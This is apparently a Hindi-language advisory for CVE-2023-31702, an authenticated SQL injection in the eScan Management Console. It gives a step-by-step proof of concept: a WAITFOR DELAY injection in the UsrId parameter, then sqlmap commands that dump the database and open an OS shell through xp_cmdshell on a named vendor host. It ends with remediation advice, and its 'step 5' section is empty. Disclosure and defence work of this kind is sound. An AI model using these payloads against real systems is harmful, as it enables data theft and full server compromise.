CVE-2023-31702 — eScan प्रबंधन कंसोल SQL इंजेक्शन (प्रमाणित)

---

अवलोकन

CVE-2023-31702 माइक्रोवर्ल्ड टेक्नोलॉजीज eScan प्रबंधन कंसोल संस्करण 14.0.1400.2281 में पाया गया एक प्रमाणित SQL इंजेक्शन भेद्यता है। यह भेद्यता GetUserCurrentPwd एंडपॉइंट में मौजूद है, जहां UsrId पैरामीटर को बिना उचित स्वच्छता या पैरामीटरीकरण के सीधे SQL क्वेरी में पास किया जाता है। एक प्रमाणित हमलावर इस दोष का उपयोग करके समय-आधारित ब्लाइंड SQL इंजेक्शन कर सकता है, पूरे बैकएंड डेटाबेस को निकाल सकता है, और अंततः अंतर्निहित माइक्रोसॉफ्ट SQL सर्वर पर एक इंटरैक्टिव OS कमांड शेल प्राप्त कर सकता है — जिससे पूर्ण सिस्टम समझौता हो सकता है।

---

भेद्यता विवरण

फ़ील्ड	विवरण
CVE आईडी	CVE-2023-31702
भेद्यता प्रकार	SQL इंजेक्शन (समय-आधारित ब्लाइंड / स्टैक्ड क्वेरी)
प्रभावित उत्पाद	MicroWorld Technologies eScan प्रबंधन कंसोल
प्रभावित संस्करण	14.0.1400.2281
भेद्य एंडपॉइंट	/ewconsole/ewconsole.dll/GetUserCurrentPwd
भेद्य पैरामीटर	UsrId
प्रमाणीकरण	आवश्यक (मान्य कंसोल क्रेडेंशियल)
परीक्षण पर	Windows
CVSS v3.1 स्कोर	8.8 (उच्च)
CVSS वेक्टर	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
रिपोर्ट दिनांक	16 मई 2023
लेखक	Sahil Ojha

---

प्रभावित सॉफ़्टवेयर

फ़ील्ड	विवरण
विक्रेता	MicroWorld Technologies
उत्पाद	eScan प्रबंधन कंसोल
विक्रेता होमपेज	https://www.escanav.com
सॉफ़्टवेयर लिंक	https://cl.escanav.com/ewconsole.dll
प्लेटफ़ॉर्म	Windows

---

भेद्यता विवरण

eScan प्रबंधन कंसोल एक संगठन के नेटवर्क में एंडपॉइंट सुरक्षा प्रबंधित करने के लिए एक वेब-आधारित इंटरफ़ेस प्रदान करता है। "उपयोगकर्ता प्रोफ़ाइल देखें" सुविधा एक REST-जैसे एंडपॉइंट को उजागर करती है:

/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>

UsrId पैरामीटर को बिना सत्यापन, एस्केपिंग, या पैरामीटरीकृत क्वेरी के उपयोग के बैकएंड SQL क्वेरी में शामिल किया जाता है। यह एक प्रमाणित हमलावर को क्वेरी में मनमाना SQL स्टेटमेंट इंजेक्ट करने की अनुमति देता है, जिसके परिणामस्वरूप:

• समय-आधारित ब्लाइंड SQL इंजेक्शन — शोषण क्षमता की पुष्टि करने के लिए WAITFOR DELAY का उपयोग करना।
• स्टैक्ड क्वेरी निष्पादन — बहु-स्टेटमेंट इंजेक्शन पेलोड को सक्षम करना।
• पूर्ण डेटाबेस डंप — SQL सर्वर बैकएंड से सभी तालिकाएँ, उपयोगकर्ता, क्रेडेंशियल और संवेदनशील डेटा निकालना।
• OS कमांड निष्पादन — SQL सर्वर सेवा खाते के विशेषाधिकारों के साथ सर्वर पर मनमाना ऑपरेटिंग सिस्टम कमांड निष्पादित करने के लिए SQL सर्वर की xp_cmdshell संग्रहीत प्रक्रिया (sp_configure के माध्यम से सक्षम) का लाभ उठाना।

---

प्रभाव

इस भेद्यता का सफल शोषण एक हमलावर को अनुमति देता है:

• 🔴 पूरे SQL सर्वर डेटाबेस को डंप करें, जिसमें उपयोगकर्ता क्रेडेंशियल, कॉन्फ़िगरेशन डेटा और संवेदनशील उद्यम जानकारी शामिल है।
• 🔴 SQL सर्वर इंस्टेंस होस्ट करने वाले Windows सर्वर पर एक इंटरैक्टिव OS शेल प्राप्त करें।
• 🔴 मनमाना OS कमांड निष्पादित करें (जैसे, बैकडोर खाते बनाना, डेटा निकालना, आंतरिक नेटवर्क संसाधनों पर पिवट करना)।
• 🔴 eScan प्रबंधन सर्वर से पूरी तरह समझौता करें और संभावित रूप से इसके द्वारा प्रबंधित सभी एंडपॉइंट।

⚠️ नोट: हमलावर को पहले eScan प्रबंधन कंसोल के लिए मान्य क्रेडेंशियल प्राप्त करने होंगे। हालाँकि, एक बार प्रमाणित होने के बाद, शोषण सीधा है और इसके लिए उन्नत कंसोल विशेषाधिकारों की आवश्यकता नहीं है।

---

प्रूफ ऑफ कॉन्सेप्ट

चरण 1 — भेद्य एंडपॉइंट तक पहुँचें

eScan प्रबंधन कंसोल में प्रमाणित होने के बाद, निम्नलिखित URL पर जाएँ:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493

यह वर्तमान उपयोगकर्ता प्रोफ़ाइल डेटा लौटाता है, यह पुष्टि करता है कि एंडपॉइंट सुलभ है।

---

चरण 2 — समय-आधारित पेलोड के साथ SQL इंजेक्शन की पुष्टि करें

UsrId पैरामीटर में निम्नलिखित समय-विलंब पेलोड इंजेक्ट करें:

https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176

पेलोड विवरण:

• ; — मूल SQL स्टेटमेंट को समाप्त करता है और एक नया शुरू करता है (स्टैक्ड क्वेरी)।
• WAITFOR DELAY '0:0:5' — SQL सर्वर को प्रतिक्रिया देने से पहले 5 सेकंड के लिए रुकने का निर्देश देता है।
• -- — सिंटैक्स त्रुटियों को रोकने के लिए मूल क्वेरी के शेष भाग को टिप्पणी में बदल देता है।

यदि सर्वर प्रतिक्रिया में ~5 सेकंड की देरी होती है, तो इंजेक्शन की पुष्टि हो जाती है।

---

चरण 3 — SQLMap का उपयोग करके डेटाबेस डंप करें

एक बार ब्लाइंड SQL इंजेक्शन की पुष्टि हो जाने पर, SQLMap का उपयोग करके पूरा डेटाबेस निकाला जा सकता है:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --dbs \
  --batch

यह बैकएंड SQL सर्वर पर होस्ट किए गए सभी डेटाबेस की गणना करता है।

---

चरण 4 — SQLMap के माध्यम से OS शेल प्राप्त करें

SQLMap xp_cmdshell को सक्षम और लाभ उठाकर हमले को OS-स्तरीय कमांड निष्पादन तक बढ़ा सकता है:

sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
  --cookie="<session_cookie>" \
  --dbms=mssql \
  --os-shell \
  --batch

यह SQL सर्वर होस्ट पर एक इंटरैक्टिव OS शेल स्थापित करता है।

---

चरण 5 — सर्वर पर OS कमांड निष्पादित करें

OS शेल स्थापित होने के साथ, सर्वर पर मनमाना Windows कमांड निष्पादित किए जा सकते हैं:

---

उपचार

इस भेद्यता को ठीक करने और कम करने के लिए निम्नलिखित उपायों की दृढ़ता से अनुशंसा की जाती है:

1. पैरामीटरीकृत क्वेरी / तैयार स्टेटमेंट का उपयोग करें — उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को कभी भी सीधे SQL क्वेरी में संयोजित न करें। डेटा को क्वेरी लॉजिक से अलग करने के लिए बाउंड पैरामीटर का उपयोग करें।

2. इनपुट सत्यापन और स्वच्छता — सर्वर-साइड पर सभी उपयोगकर्ता-प्रदत्त पैरामीटर को सख्ती से सत्यापित करें। UsrId जैसे संख्यात्मक पहचानकर्ताओं के लिए, केवल पूर्णांक इनपुट लागू करें और विशेष वर्ण वाले किसी भी मान को अस्वीकार करें।

3. विक्रेता पैच लागू करें — eScan प्रबंधन कंसोल को नवीनतम उपलब्ध संस्करण में अपडेट करें। नवीनतम पैच किए गए रिलीज़ के लिए MicroWorld Technologies सहायता से संपर्क करें या उनकी सुरक्षा सलाह देखें।

4. डेटाबेस खातों के लिए न्यूनतम विशेषाधिकार — एप्लिकेशन डेटाबेस खाते में केवल आवश्यक न्यूनतम अनुमतियाँ होनी चाहिए। इसमें sysadmin या db_owner भूमिकाएँ नहीं होनी चाहिए, और xp_cmdshell अक्षम होना चाहिए।